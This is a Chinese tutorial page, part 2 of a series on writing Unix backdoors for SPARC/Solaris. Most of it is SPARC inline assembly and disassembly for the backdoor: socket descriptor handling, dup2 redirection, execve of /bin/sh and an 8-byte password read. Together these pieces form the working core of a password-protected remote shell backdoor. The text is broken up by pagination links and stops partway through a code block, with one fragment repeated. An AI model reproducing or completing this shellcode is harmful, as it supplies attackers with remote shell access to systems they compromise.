当前位置:Linux教程 - Linux资讯 - SPARC/Solaris下的Unix后门初探(2)

SPARC/Solaris下的Unix后门初探(2)

  这段代码仅仅演示了很重要的两个部分,一个是设置文本段可写,一个是成功创建套 接字并阻塞在accept()系统调用处,一旦有入连接,程序就正常终止了。幸运的是, 在经历了太多磨难后,SPARC没有继续为难我们,一切按照预想的发展。 编写syscall( 6, s )、syscall( 6, c )以及syscall( 62, c, 9, 0 ): -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) {     __asm__     ("         mov   0x06, %o0            ! 第一个参数6         ld    [ %l7 ], %o1         ! 第二个参数s         clr   %g1         ta    8         mov   0x3e, %o0            ! 第一个参数62         ld    [ %l7 + 4 ], %o1     ! 第二个参数c         mov   0x09, %o2         clr   %o3         clr   %g1         ta    8         mov   0x06, %o0            ! 第一个参数6         ld    [ %l7 + 4 ], %o1     ! 第二个参数c         clr   %g1         ta    8     "); }  /* end of main */ -------------------------------------------------------------------------- 还有一个更烦人的execve( name[0], name, 0 ),可以从 << solaris for sparc下shellcode的编写(三) >>中偷一些代码过来: -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) {     __asm__     ("         sethi   0xbd89a, %l4    ! sethi  %hi(0x2f626800), %l4         or      %l4, 0x16e, %l4
[1] [2] [3] 下一页 

        sethi   0xbdcda, %l5    ! sethi  %hi(0x2f736800), %l5         and     %sp, %sp, %o0   ! $o0 指向字符串/bin/sh         add     %sp, 8, %o1     ! $o1 存放一个地址,该地址处存放了指向字符串的指针         xor     %o2, %o2, %o2   ! %o2寄存器清零         add     %sp, 16, %sp    ! 留出存储空间         std     %l4, [%sp - 16] ! 存放字符串         st      %o0, [%sp - 8]  ! 存放字符串指针         st      %g0, [%sp - 4]  ! %g0总是为0         mov     0x3b, %g1       ! 将0x3b拷贝到%g1寄存器中         ta      8               ! 执行中断指令ta 8(execve()完成)     "); }  /* end of main */ -------------------------------------------------------------------------- 最后研究一下syscall( 3, c, pass, 8 ): -------------------------------------------------------------------------- 0x1033c <main+392>:     mov  3, %o0 0x10340 <main+396>:     ld  [ %o1 + 0x1b0 ], %o1 0x10344 <main+400>:     sethi  %hi(0x26400), %o3 0x10348 <main+404>:     or  %o3, 0x158, %o2     ! 0x26558 <pass> 0x1034c <main+408>:     mov  8, %o3 0x10350 <main+412>:     call  0x10fec <syscall> 0x10354 <main+416>:     nop -------------------------------------------------------------------------- 分析后提炼如下: -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) {     __asm__     ("         mov   0x03, %o0            ! 第一个参数3
上一页 [1] [2] [3] 下一页 

        ld    [ %l7 + 4 ], %o1     ! 第二个参数c         add   %l7, 8, %o2          ! 第三个参数pass         mov   0x08, %o3            ! 第四个参数8         clr   %g1         ta    8     "); }  /* end of main */ -------------------------------------------------------------------------- 本以为这就是最后了,猛然记起SPARC没有repnz cmpsb指令。可以省点事的是我们强 制口令恰好8个字节,所以比较两个usigned long即可。 -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) {     __asm__     (" read:         mov   0x03, %o0            ! 第一个参数3         ld    [ %l7 + 4 ], %o1     ! 第二个参数c         add   %l7, 8, %o2          ! 第三个参数pass         mov   0x08, %o3            ! 第四个参数8         clr   %g1

(出处:http://www.sheup.com)


上一页 [1] [2] [3] 

        mov   0x08, %o3            ! 第四个参数8         clr   %g1

(出处:http://www.sheup.com)


上一页 [1] [2] [3] [4]